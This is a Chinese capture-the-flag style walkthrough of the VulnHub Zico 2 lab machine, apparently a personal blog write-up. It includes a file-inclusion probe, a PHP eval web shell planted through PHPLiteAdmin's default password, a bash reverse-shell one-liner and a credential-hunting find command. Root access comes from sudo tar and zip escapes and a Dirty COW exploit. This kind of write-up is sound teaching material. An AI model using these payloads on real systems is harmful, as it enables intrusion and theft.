-
✨ 准备工作
-
靶机 && kali 环境要求
机器名 网络配置 靶机 Zico 2 NAT 模式 攻击机 kali NAT 模式 -
靶机下载链接:zico2: 1 ~ VulnHub
-
打开
VMware
,将zico2.ova
拖拽到VMware
中 -
设置
虚拟机名称(A)
-存储路径(P)
-导入
-
若是,提示出错,点击
重试
即可 -
启动虚拟机,等待安装完成
-
启动成功
-
右击靶机 -
设置
-
修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定
-
关闭虚拟机,重复上述操作(8)
-
点击
高级
,查看MAC地址 -确定
-
为了防止干扰,这里我将
网络适配器2
的网卡移除 -
打开虚拟机
-
☄️ 信息收集
-
确定NAT网段
-
可以看到NAT是
192.168.49.0/24
网段的 -
kali 执行
sudo nmap -sn -PR 192.168.49.0/24
-
发现靶机IP为:
192.168.49.129
-
端口扫描:
nmap -sV -p- 192.168.49.129
-
发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面
-
🌠 获取shell
-
在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(
文件?参数=页面
) -
第一时间尝试文件包含读取,将
tools.html
替换为../../../../../../../../../../etc/passwd
,确认存在文件包含漏洞。 -
继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面
dirsearch -u "http://192.168.49.129/"# 登录界面: http://192.168.49.129/dbadmin/test_db.php
-
发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!
# 密码 admin
-
版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客 )
-
第一步:创建数据库
test.php
(名字任意,带.php
就行)# 链接 http://192.168.49.129/dbadmin/test_db.php# Create New Databas test.php
-
第二步:点击我们新创建的数据库,创建数据表
test_table
(这里名字和数量任意)# 链接 http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users# Name test_table# Number of Fields 1
-
第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>)
# 链接 http://192.168.49.129/dbadmin/test_db.php?action=table_create# Field test_content# Type TEXT# Default Value <?php @eval($_POST[cmd])?>
-
第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接
-
确认权限,是一个Web服务用户
-
生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com) ,这里我将其反弹到
kali
上# 监听语句 sudo nc -lvnp 555# 执行反弹shell的命令 /bin/bash -c '生成的语句'# 例: /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'
-
反弹成功
-
💫 权限提升(3)
-
通过命令查看,确认该靶机可登录的用户有
root
和zico
grep '/bin/bash$' /etc/passwd
-
查找可能包含密码的文件,发现
/home/zico/wordpress/wp-config.php
比较可疑find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null# 说明 从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件 然后在这些文件中查找包含另一个关键词("zico")的行, 最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。# PS:zico 为可登录的用户名
-
查看该文件,发现
zico
用户的账户和密码cat /home/zico/wordpress/wp-config.php# 账号 zico# 密码 sWfCsfJSPV9H3AmQzw8
-
另起终端,使用 ssh 登录
ssh zico@192.168.49.129# 密码 sWfCsfJSPV9H3AmQzw8
-
Sudo 提权(2 )&& 脏牛提权(1)
提权方式 详细说明 方式一:Sudo 提权(2)
-
列出当前用户拥有
sudo
权限的命令 -
sudo -l
sudo -l
-
发现拥有
sudo
权限的是tar
和zip
,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins ;tar 提权
-
输入tar - 点击 Sudo
tar
-
复制并执行这条命令,提权成功
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip 提权
-
输入
zip
- 点击Sudo
zip# 临时文件TF=$(mktemp -u)/tmp/147.zip# 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)sudo zip $TF /etc/hosts -T -TT 'sh #'sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'sudo rm /tmp/147.zip
-
修改并执行命令,提权成功
sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'
-
方式二:脏牛提权
-
查看靶机的系统版本
uname -r
-
发现是3.2.0-23 版本,介于
2.6.22 < x < 3.9
,尝试进行脏牛提权 -
在蚁剑的
数据管理
中选中建立的连接,右键
- 选择文件管理
, 查看文件 -
下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)
- 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com) ,
-
将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)
-
切换到当前目录,编译执行,并输入要设置的密码
# 切换目录(你上传的目录) cd /var/www/css# 查看当前目录 ls# 编译 40839.c ,输出可执行文件 40839 gcc -pthread 40839.c -o 40839 -lcrypt# 执行 ./40839# 输入要设置的密码(这里我输入123456) 123456
-
添加 高权限
firefart
用户 成功 -
PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)
ssh zico@192.168.49.129# 密码 sWfCsfJSPV9H3AmQzw8# 切换用户 su firefart# 输入你设置的密码 123456# 提权成功
-
-
提权成功,查找flag
find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null# 说明 从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)
-
附Falg位置:
/root/flag.txt
,cat /root/flag.txt
-
🌌 总结
- 流程:主机发现 - 信息收集 - Web渗透 - 获取shell - 权限提升
- Web渗透
-
当发现
文件?参数=页面
类型,甚至是文件?参数
,请第一时间尝试文件包含; -
判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;
-
寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;
find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
-
当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;
-
寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)
find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null
-